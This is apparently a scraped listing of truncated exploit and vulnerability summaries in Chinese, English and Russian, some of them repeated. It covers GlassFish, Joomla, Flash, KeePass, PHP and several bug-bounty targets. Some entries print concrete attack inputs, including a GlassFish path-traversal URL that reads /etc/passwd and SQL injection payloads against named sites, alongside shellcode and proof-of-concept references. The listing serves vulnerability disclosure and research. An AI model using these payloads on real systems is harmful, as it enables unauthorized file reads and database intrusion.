GlassFish 任意文件读取漏洞

java把"%c0%ae"解析为"\uC0AE"，最后转义为ASCCII字符"." 访问如下链接即可看到效果： http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd 参考链接： 《漏洞预警：应用服务器glassfish任意文件读取漏洞》 !/usr/bin/env python coding...

Joomla 组件Gallery WD SQL注入漏洞

0x01 漏洞简介 Joomla 组件Gallery WD存在多处SQL注入漏洞。远程攻击者可以利用该漏洞执行任意SQL指令。该插件的下载地址是： http://extensions.joomla.org/extensions/extension/photos-a-images/galleries/gallery-wd 0x02漏洞说明 2.1参数themeid存在GET型SQL注入漏洞 该漏洞利用的POC格式如下： index.php?option=comgallerywd&view=gallerybox&imageid=19&galleryid=2&themeid=1 AND...

Netentsec ASG网康应用安全网关在commonpluginDownload.php存在任意文件下载漏洞

0x01漏洞简介 Netentsec ASG网康应用安全网关在/commonplugin/Download.php存在任意文件下载漏洞。远程攻击者可以利用参数licensefile 或者 reqfile 结合..下载任意文件。如果下载文件是SvrLicense.license表示该漏洞已经修复，如果下载文件为自己包含的文件，说明该漏洞仍然存在。 0x02漏洞分析 查看问题代码如下： obstart""; header"Expires: Sat, 01 Jan 2000 00:00:00 GMT"; header"Last-Modified: ".gmdate"D, d M Y...

Microsoft Office COM Object - WMALFXGFXDSP.dll DLL Planting (MS16-007)

Microsoft Office COM Object - WMALFXGFXDSP.dll DLL Planting MS16-007 Source: https://code.google.com/p/google-security-research/issues/detail?id=555 It is possible for an attacker to execute a DLL planting attack in Microsoft Office 2010 on Windows 7 x86 with a specially crafted OLE object. The...

SNScan 1.05 - Scan HostnameIP Field Buffer Overflow Crash (PoC)

SNScan 1.05 - Scan HostnameIP Field Buffer Overflow Crash PoC !/usr/bin/env python -- coding: utf-8 -- Exploit Title : SNScan v1.05 Scan Hostname/IP Field Buffer Overflow Crash PoC Discovery by : Daniel Velazquez Email : [email protected] Discovery Date : 12/01/2016 Vendor Homepage :...

KeePass Password Safe Classic 1.29 - Crash (PoC)

Exploit for windows platform in category dos / poc Title : KeePass Password Safe Classic 1.29 - Crash Proof Of Concept Affected Versions: All Version Founder : keepass.info Tested on Windows 7 / Server 2008 Download Link :...

Adobe Flash - Use-After-Free When Setting Stage

Exploit for windows platform in category dos / poc Source: https://code.google.com/p/google-security-research/issues/detail?id=629 The attached file causes a use-after-free when calling the stage setter. The PoC works most consistently in Firefox for 64-bit Windows. Proof of Concept:...

Adobe Flash - Use-After-Free When Setting Stage

Source: https://code.google.com/p/google-security-research/issues/detail?id=629 The attached file causes a use-after-free when calling the stage setter. The PoC works most consistently in Firefox for 64-bit Windows. Proof of Concept:...

Adobe Flash (Multiple Scripts) - Use-After-Free When Rendering Displays (1)

Source: https://code.google.com/p/google-security-research/issues/detail?id=628 There is a use-after-free that appears to be related to rendering the display based on multiple scripts. A PoC is attached, tested on Windows only. Note the PoC is somewhat unreliable on some browsers, sometimes it...

KeePass Password Safe Classic 1.29 - Crash (PoC)

KeePass Password Safe Classic 1.29 - Crash PoC Title : KeePass Password Safe Classic 1.29 - Crash Proof Of Concept Affected Versions: All Version Founder : keepass.info Tested on Windows 7 / Server 2008 Download Link :...

Adobe Flash (Multiple Scripts) - Use-After-Free When Rendering Displays (1)

Adobe Flash Multiple Scripts - Use-After-Free When Rendering Displays 1 Source: https://code.google.com/p/google-security-research/issues/detail?id=628 There is a use-after-free that appears to be related to rendering the display based on multiple scripts. A PoC is attached, tested on Windows onl...

Ubiquiti Inc.: Subdomain Takeover in http://assets.goubiquiti.com/

Hi there, Its urgent issue about your subdomain http://assets.goubiquiti.com pointing to AWS S3 but no such website configuration is made. This unused subdomain can claim by anyone and fully take over it. An attacker can fully takeover this subdomain and do whatever he wants. this can cause huge...

Internet Bug Bounty: Use After Free in sortWithSortKeys()

Copy Paste of bug report at https://bugs.php.net/bug.php?id=71020 Issue verified and fixed. Description: ------------ This is a vulnerability is in the function Collator::sortWithSortKeys. The vulnerable code is in ext/intl/collator/collatorsort.c 1 Given an array, each element hashData is being...

Linux/x86 - Egg-hunter Shellcode (13 bytes)

/ Title: Egg Hunter PoC Platform: linux/x86 Date: 2015-01-07 Author: Dennis 'dhn' Herrmann Website: https://zer0-day.pw Github: https://github.com/dhn/SLAE/ SLAE-721 / / egghunter.nasm --------------- BITS 32 global start section .text EGGSIG equ 0x4f904790 ; signature start: cdq ; zero out edx m...

Linux x86 - Egg-hunter 13 bytes

Linux x86 - Egg-hunter 13 bytes. Shellcode exploit for linx86 platform / Title: Egg Hunter PoC Platform: linux/x86 Date: 2015-01-07 Author: Dennis 'dhn' Herrmann Website: https://zer0-day.pw Github: https://github.com/dhn/SLAE/ SLAE-721 / / egghunter.nasm --------------- BITS 32 global start...

服务器安全合规端口扫描PoC

企业安全中对服务器开放的端口都有着严格的管理，但是难免会有疏忽，所以需要定期检查端口开放情况，以及时发现不合规开放端口。...

HackerOne: HackerOne is still prone to Internet Explorer UXSS

Hi, I have managed to leverage CVE 2015-0072, so that the attack will work with any framed resource protected by X-Frame-Options: DENY header. According to 103787, only https://hackerone.com/cdn-cgi/trace was unprotected and now its already fixed. In my PoC I used several X-Frame-Options protecte...

Mail.ru: [cfire.mail.ru] Time Based SQL Injection

Добрый день. Уязвимо кукис с названием cfiresid. Рабочий PoC GET /account/userbar/ HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25 Host: cfire.mail.ru Accept: text/html, application/xml;q=0.9,...

hishop最新版存在SQL注入

简要描述： hishop最新版存在SQL注入（demo演示） 详细说明： hishop最新版存在SQL注入（demo演示） http://www.hishop.com.cn/products/ydfx/ 这里是demo： 随意注册一个，登录，访问POC： http://ydfx.demo.shopefx.com/user/UserRefundApply.aspx?OrderId=%27%20and%20select%20@@version%3E0%20and%20%271%27=%271 漏洞证明：...

PHP Melody CMS 2.3 SQL Injection

================================================================================ PHP Melody CMS v2.3 SQL injection ================================================================================ Vendor Homepage: https://www.phpsugar.com Date: 26/12/2015 Script Link:...